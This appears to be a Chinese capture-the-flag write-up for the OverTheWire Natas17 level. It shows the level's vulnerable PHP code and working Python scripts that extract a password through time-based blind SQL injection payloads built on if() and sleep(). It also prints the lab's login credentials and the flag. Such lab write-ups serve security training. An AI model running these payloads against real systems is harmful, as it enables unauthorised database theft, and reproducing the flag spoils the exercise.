zoukankan      html  css  js  c++  java
  • Natas17 Writeup(sql盲注之时间盲注)

    Natas17:

    源码如下

    /*
    CREATE TABLE `users` (
      `username` varchar(64) DEFAULT NULL,
      `password` varchar(64) DEFAULT NULL
    );
    */
    
    if(array_key_exists("username", $_REQUEST)) {
        $link = mysql_connect('localhost', 'natas17', '<censored>');
        mysql_select_db('natas17', $link);
        
        $query = "SELECT * from users where username="".$_REQUEST["username"].""";
        if(array_key_exists("debug", $_GET)) {
            echo "Executing query: $query<br>";
        }
    
        $res = mysql_query($query, $link);
        if($res) {
        if(mysql_num_rows($res) > 0) {
            //echo "This user exists.<br>";
        } else {
            //echo "This user doesn't exist.<br>";
        }
        } else {
            //echo "Error in query.<br>";
        }
    
        mysql_close($link);
    } 
    
    分析源码,又是一道sql注入题,与15题的内容类似,只是不再提供回显,所有echo均被注释掉了。猜测到username为natas18,依旧是盲注的思想,但因为没有作为判断的回显,所以这次选择时间盲注,使用if()和sleep()函数完成注入。
    脚本(二分查找,效率更快):
    #coding:utf-8
    import requests
    url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php' key ='' for i in range(1,33): #i表示password的每一位字符,因为password共32位字符,所以i取值1-32 #ascii表中 数字 32–126 分配给了能在键盘上找到的字符 #下面用了二分法查找password的每一个字符 a = 32 c = 126 while a<c: b = (a+c)/2 #79 O # MID 函数用于从文本字段中提取字符。 # mid(password,%d,1),表示从password中从第%d位开始,取1位字符,即取第%d位字符 # Ascii()返回字符的ascii码 # sleep(n):将程序挂起一段时间 n为n秒 # if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 # if(%d<ascii(mid(password,%d,1)),sleep(2),1),表示先取出password的第i位,将其换算成ascii码,然后与变量b对比,如果大于b,则睡2秒再返回结果,否则直接返回结果 payload=r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "'%(b,i) try: req = requests.post(url=url,data={"username":payload},timeout=2) except requests.exceptions.Timeout,e: a=b+1 #80 P b=(a+c)/2 #103 g continue c=b key +=chr(b) print key

    flag:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

    注意:此脚本需要使用Python2.x来运行,否则会报错:TypeError: integer argument expected, got float

    原因:

    如果一定要使用Python3.x运行,可以把b = (a+c)/2改为b =int( (a+c)/2)

    Python3.x脚本:

    # coding:utf-8
    import requests
    url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'
    key = ''
    
    for i in range(1, 33):
        a = 32
        c = 126
        while a < c:
            b = int((a + c) / 2)  # 79 O
            payload = r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(10),1) and "" like "' % (b, i)
            try:
                req = requests.post(url=url, data={"username": payload}, timeout=2)
            except requests.exceptions.Timeout as e:
                a = b + 1  # 80 P
                b = int((a + c) / 2)  # 103 g
                continue
            c = b
        key += chr(b)
        print(key)

    由于这里使用的是时间盲注,而网络环境不稳也会导致超时发生,所以sleep(2)可能会导致盲注判断错误,因此这里我改成了sleep(10)。

    结果:

    参考:https://www.cnblogs.com/ichunqiu/p/9554885.html

  • 相关阅读:
    显示文件本地文件夹
    Select Dependencies选择依赖项
    搜索小技巧
    783. Minimum Distance Between BST Nodes BST节点之间的最小距离
    5. Longest Palindromic Substring 最长的回文子串
    12. Integer to Roman 整数转罗马数字
    3. Longest Substring Without Repeating Characters 最长的子串不重复字符
    539. Minimum Time Difference 最小时差
    43. Multiply Strings 字符串相乘
    445. Add Two Numbers II 两个数字相加2
  • 原文地址:https://www.cnblogs.com/zhengna/p/12391055.html
Copyright © 2011-2022 走看看